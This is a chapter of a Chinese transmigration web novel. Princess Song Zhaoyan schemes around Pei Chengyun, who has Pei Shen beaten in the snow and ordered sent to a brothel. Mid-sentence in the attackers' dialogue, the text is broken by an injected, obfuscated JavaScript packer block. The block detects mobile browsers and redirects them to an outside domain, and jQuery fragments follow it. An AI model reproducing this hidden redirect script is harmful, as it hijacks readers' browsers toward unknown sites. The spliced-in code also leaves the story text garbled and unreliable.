虽然知道裴承允作为男二,和身为女主的展新月本就有一番纠缠。
但是宋昭颜也不可能为了完成任务,放任裴承允的行为。
于是展新月出宫后,宋昭颜也果然如承诺所说,避免裴承允每日上门前去找他。
宋昭颜每日都派人去裴承允的府上,请他前往朝阳宫。
裴承允当然不想去,他可以不去,但是去也不能去展府。毕竟若是让宋昭颜知道,裴承允去寻找她的伴读,只怕宋昭颜整个人都会炸了。
宫人每每去请,但是人都没有请来,宋昭颜的愤怒都停在口头上,却也没有实质的处罚。然后第二日,继续让宫人前去。
就这样一直持续到新年那一天,一大早,裴承允终于来到朝阳宫。
得知裴承允要来,宋昭颜却一改常态,怒道要赶走裴承允。
想赶走定然是假,想欲擒故纵是真。
裴承允很快看穿宋昭颜的把戏,假意要走,很快宋昭颜就破功,命人将他请了进去。
进入内殿,便见到宋昭颜一副哭哭啼啼的模样,还咳嗽不断。
“昭华这是怎么了?为何要赶我走?”
宋昭颜扯着帕子抹着眼泪,还是一副怒色直指裴承允。
“五哥哥是诚心的是吧?不知我为何动怒。我命人去你府上请了你多日,你都避而不见,如今才来见我,反而质问我为何赶你走?”
说罢,宋昭颜一怒之下再次猛烈咳嗽,裴承允一副担忧的模样,伸手拍着宋昭颜的后背,替她顺气。
“怎么病的这样厉害?那今晚的夜宴该如何参加?”
待咳嗽缓和,宋昭颜又是一副委屈模样,噘着嘴道:“冬日如此冷,不小心就着凉病了,病倒这些日子,我就想见见五哥哥,五哥哥却一直不来。我看五哥哥心里根本就没有我。眼下虽然来看望我,但是却不关心我,反而担心我不能参加宫宴......”
说罢,宋昭颜冷冷哼了一声,不再理会裴承允。
裴承允心中是丝毫不想理会宋昭颜,奈何现在已然做戏,那就只能忍着心中的不满,继续哄骗着宋昭颜。
“昭华这可就冤枉我了,实在是年节之时事务繁忙,我自然得先忙父皇交代的差事。没能及时顾得上你是我不对,但昭华质疑我的真心,那可就太伤我的心了。”
裴承允总是有本事将自己的问题归咎到宋昭颜身上,而这样的行为每每都能成功,没办法,谁叫宋昭颜爱他爱的“死去活来”呢?
“五哥哥别这么说,昭华只是想耍耍小性子,不是真的要伤你的心。”
裴承允叹气扭头,很快又一幅自我调节好,没有怪宋昭颜的意思,重新回头看着宋昭颜。
“昭华能明白我的心就好,看你病得这样重,今晚的宫宴只怕无法参加,得好好休息才是。”
宋昭颜乖巧的点点头:“早就禀告过父皇,父皇也派太医来看过,还说让我好好休息,今夜的宫宴不参加了。”
“既然如此,那你就早些休息,待我忙完,再来看你。”
话都说到这里,想来裴承允又要走,宋昭颜没有阻拦,再次点点头。
今日裴承允都来看过宋昭颜,那宋昭颜自然就没理由再命人去他府前守着。
所以今日,裴承允总算是终于找到机会前去展府。
一路上他都兴致昂扬,但是没开心多久,才出朝阳宫,裴承允又被皇帝身边的人请走了。
一直持续到晚上宫宴,裴承允都没有时间出宫,更别说去见展新月。
因着不必参加今晚的夜宴,宋昭颜觉得轻松不少。
她当然是想凑热闹的,但是皇宫的宫宴怎么可能会有她想的热闹,只会暗藏争锋相对。与其如此,不如自己清静清静。
最重要的是,如果一个人持续很久的伪装,筹谋,也是很累的,宋昭颜想要一个彻底的,没人会注意到自己的时间,放下一切负担,放空自己。
此刻朝阳宫四下无人,宋昭颜“大发善心”让他们过节去了。
宋昭颜依旧披散着头发,身着素色衣衫站在窗前,静静地看着院中飘落的雪花。
她想家了。
这是宋昭颜在这个世界过的第一个年,她并不欢喜。
转身看着只有她一人的大殿,百无聊赖的垂下双手,四处走来走去。
直到系统对她发出一阵警报。
“什么意思?你是说裴承允派人暗算裴慎?”
宋昭颜立刻回神,整个语气都充满紧张。
今日裴慎还是出宫,且久久未归,宋昭颜知道他是想去展府看展新月。
而裴慎也确实去了,和展新月见面之后便准备离开,却不想正好被出宫的裴承允撞见了。
裴承允还是想见展新月一面,便以醉酒为借口提前出宫,来到展家,在马车上远远地就见到裴慎出府的身影,且展家上下还亲自相送,展新月的目光更是看着裴慎久久不能回神。
看到这一幕,裴承允心中满腔怒意,拳头不自觉紧握。
他与展新月来往多次,展新月对他的心意视而不见,就是因为看上一个比她小的裴慎吗?
就因为他们都在朝阳宫,朝夕相处,所以互生情愫吗?
真是可笑!
看来上次的雪狼教训还不够,否则裴慎怎么如此不长记性。
想到这里,裴承允的脸色满是阴狠,他开口,声音也充满寒意:“来人!”
——————
宋昭颜得知裴慎遇到危险,最初是并不担心的,毕竟有她的帮助,裴慎的武功也不算差。
但是系统立刻回应,就算裴慎武功不错,但是双拳难敌四手,裴承允又不止派一个人,裴慎哪里是对手。
听到这里,宋昭颜才着急起来。
随手拿起一根簪子挽起头发,换了身衣服就出门了。
黑夜白雪,此刻的裴慎已经被打的没有招架之力,整个人趴在冰冷的雪地上,鲜红的血溅在白色的雪地,看得人触目惊心。
为首的黑衣人闲庭信步走上前来,停在裴慎跟前儿,缓缓蹲下来。
骨节分明的手抓着裴慎的头发,用力拽着让他抬头直视自己。
裴慎的嘴角还留着鲜血,但是眼眸之中满是倔强与不服。血渍溅到裴慎白净的脸上,显得有另一种惊心动魄的美感。
黑衣人见此不觉得害怕,心中反而更加觉得畅快。
他故意发出嘲讽的啧啧声,然后开口道:“确实是一副好模样,就是靠着这幅好样子,诱惑那些女子的吗
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16057465|175522||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?”
裴慎不明白对方什么意思,只能死死地咬着嘴唇不开口。
或许他搞不清楚对方话里的意思,但是黑衣人的这双眼睛,他不会忘记。
是裴承允!
此刻裴承允不在宫中参加宴会,却来找他的麻烦。
上次雪狼一事,姑且是因为记恨乞巧宴一事,可是这次又是为什么?
即便认出裴承允,裴慎也没有将其揭穿。
裴慎不是傻子,没有揭穿,裴承允顶多是折磨他。
若是揭穿,裴承允定会杀了他。
他现在还有大事要做,该隐忍则隐忍。
不过裴慎还是想试探一番,于是艰难的开口问:“你们究竟是谁?”
蒙面的裴承允本不想回答,但是既然裴慎问了,又改了主意。
“这么晚了,九皇子还不回宫,可叫公主好等!”
裴慎瞳孔紧缩,似乎不敢相信听见的内容。
是宋昭颜派人来教训他?为什么?
见裴慎这个反应,裴承允很是满意。
“上次雪狼的教训九皇子不长记性啊,居然还敢觊觎公主身边的人,当真把公主的话当做耳旁风吗?”
这绝对不是宋昭颜下的令,裴慎心中很肯定。
虽然宋昭颜为人傲慢,但却也是敢作敢当。她若是折磨人,才不会使这么多弯弯绕绕。直接将裴慎抓回去,慢慢用刑。
所以这是裴承允在嫁祸宋昭颜,想要裴慎恨宋昭颜,又要裴慎长记性,不许在和宋昭颜的伴读有更进一步的来往。
这是裴承允的私心,是他不想裴慎接近展新月。
想到这里,裴慎心下立刻顿悟。
所以上一次裴承允的行为,也是这个目的吧?
他喜欢展新月?
得到这个认知,裴慎心中满是震惊,震惊之余,便是更多了几分敌意和怒意。
有敌意很正常,但是裴慎自己都不知道,为什么会有怒意。
他只觉得,宋昭颜白瞎了眼喜欢裴承允,而裴承允对她全是欺骗,一来就是为了利用皇帝对宋昭颜的宠爱,让宋昭颜帮他达成目的。
二来就是想见展新月。
明明之前对宋昭颜毫无兴趣,现在却一改往常,时常进出朝阳宫,想见展新月才是目的吧?
想到这里,裴慎算是明白裴承允今夜这般对他的真正目的。
而裴承允继续说道:“这么喜欢诱惑人,我倒是知道个好去处,可以送你去。在哪里,你可以随意发挥你的特长。”
说罢,重重的丢开裴慎的头发,嫌弃的将手擦了擦,对着身后之人招了招手。
“把他丢到南风馆去,可千万别伤了脸!”
身边之人立刻应声,但也有人有些担忧,走近裴承允,低声道:“主子,若是他久久不回去,万一派人来找?”
蒙面之下的裴承允嘴角扯出一抹冷笑。
不过是养在朝阳宫的一条狗,宋昭颜会在意他在不在朝阳宫?
就算等裴慎脱身回去,和宋昭颜说他是遭遇不测才久不回宫,届时裴承允开口说裴慎故意而为之,宋昭颜定然不会理会裴慎的解释,到时候裴慎又是一场折磨。
于是裴承允再次说了一遍:“动手!”